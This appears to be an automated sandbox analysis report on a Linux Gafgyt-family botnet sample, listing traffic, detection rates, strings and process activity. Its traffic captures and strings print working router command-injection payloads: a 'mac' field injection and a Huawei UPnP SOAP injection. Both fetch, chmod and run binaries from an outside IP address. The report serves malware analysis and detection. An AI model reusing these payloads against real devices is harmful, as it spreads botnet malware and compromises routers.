Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.62.226.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.173.40.16
Source: unknown	TCP traffic detected without corresponding DNS query: 141.96.73.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.228.77.208
Source: unknown	TCP traffic detected without corresponding DNS query: 89.37.187.133
Source: unknown	TCP traffic detected without corresponding DNS query: 157.28.125.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.99.226
Source: unknown	TCP traffic detected without corresponding DNS query: 41.13.122.105
Source: unknown	TCP traffic detected without corresponding DNS query: 120.154.240.6
Source: unknown	TCP traffic detected without corresponding DNS query: 103.3.83.197
Source: unknown	TCP traffic detected without corresponding DNS query: 160.220.158.54
Source: unknown	TCP traffic detected without corresponding DNS query: 77.1.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 188.219.250.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.197.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.217.119
Source: unknown	TCP traffic detected without corresponding DNS query: 157.187.135.213
Source: unknown	TCP traffic detected without corresponding DNS query: 41.167.136.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.194.11.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.156.139.246
Source: unknown	TCP traffic detected without corresponding DNS query: 157.102.120.98
Source: unknown	TCP traffic detected without corresponding DNS query: 206.37.36.41
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.0.247
Source: unknown	TCP traffic detected without corresponding DNS query: 157.55.120.73
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.62.188
Source: unknown	TCP traffic detected without corresponding DNS query: 157.123.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.12.95.44
Source: unknown	TCP traffic detected without corresponding DNS query: 63.63.187.238
Source: unknown	TCP traffic detected without corresponding DNS query: 197.45.192.156
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.22.194
Source: unknown	TCP traffic detected without corresponding DNS query: 41.121.9.28
Source: unknown	TCP traffic detected without corresponding DNS query: 197.170.207.66
Source: unknown	TCP traffic detected without corresponding DNS query: 41.38.250.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.224.17
Source: unknown	TCP traffic detected without corresponding DNS query: 185.17.161.169
Source: unknown	TCP traffic detected without corresponding DNS query: 41.226.125.29
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.156.116
Source: unknown	TCP traffic detected without corresponding DNS query: 199.101.87.199
Source: unknown	TCP traffic detected without corresponding DNS query: 131.97.112.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.21.213.148
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.39.49
Source: unknown	TCP traffic detected without corresponding DNS query: 98.206.245.163
Source: unknown	TCP traffic detected without corresponding DNS query: 157.181.192.12
Source: unknown	TCP traffic detected without corresponding DNS query: 23.245.45.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.6.33.197
Source: unknown	TCP traffic detected without corresponding DNS query: 41.7.120.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.14.88.253
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.224.20
Source: unknown	TCP traffic detected without corresponding DNS query: 41.191.120.170

Source: unknown

DNS traffic detected: queries for: bngoc.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm *mpsl*;

Source: 8uGjvDZ9vr.elf	ReversingLabs: Detection: 51%
Source: 8uGjvDZ9vr.elf	Virustotal: Detection: 57%			Perma Link

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Thu, 11 Jan 2024 13:36:37 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: NET-DK/1.0Date: Sun, 04 Jan 1970 13:15:33 GMTContent-Type: text/htmlData Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 2f 48 54 4d 4c 3e 3c 48 52 3e 0a 4e 45 54 2d 44 4b 2f 31 2e 30 20 45 72 72 6f 72 3a 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 2f 48 52 3e Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD></HTML><HR>NET-DK/1.0 Error: 404 Not Found</TITLE></HEAD></HR>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/htmlCache-Control: no-cache, no-storeConnection: closeContent-Length: 684X-Iinfo: 4-2810690-0 0NNN RT(1704980242045 7) q(0 -1 -1 -1) r(0 -1)Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 35 26 78 69 6e 66 6f 3d 34 2d 32 38 31 30 36 39 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 37 30 34 39 38 30 32 34 32 30 34 35 25 32 30 37 25 32 39 25 32 30 71 25 32 38 30 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 35 36 32 38 33 39 38 32 34 38 36 36 31 32 35 32 26 65 64 65 74 3d 39 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 50 4f 53 54 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 35 36 32 38 33 39 38 32 34 38 36 36 31 32 35 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=5&xinfo=4-2810690-0%200NNN%20RT%281704980242045%207%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-15628398248661252&edet=9&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-15628398248661252</iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Thu, 11 Jan 2024 13:37:47 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>

Source: 8uGjvDZ9vr.elf	String found in binary or memory: http://103.245.236.109/skyljne.arm7$
Source: 8uGjvDZ9vr.elf	String found in binary or memory: http://103.245.236.109/skyljne.mpsl;
Source: 8uGjvDZ9vr.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 8uGjvDZ9vr.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: 8uGjvDZ9vr.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6207, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6215, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.245.236.109 -l /tmp/linux -r /skyljne.mips; /bin/busybox chmod 777 /tmp/linux; /tmp/linux selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: busybox wget
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: busyboxxx
Source: Initial sample	String containing 'busybox' found: busyboxx
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljne.armskyljne.arm5skyljne.arm6skyljne.arm7skyljne.mipsskyljne.mpslskyljne.x86_64skyljne.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.245.236.109 -l /tmp/linux -r /skyljne.mips; /bin/busybox chmod 777 /tmp/linux; /tmp/linux selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinenetstatcurlechocatbin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbttop1hbt./root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget

Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	SIGKILL sent: pid: 1633, result: successful	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	SIGKILL sent: pid: 2146, result: successful	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	SIGKILL sent: pid: 6220, result: successful	Jump to behavior

Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1463/cmdline	Jump to behavior
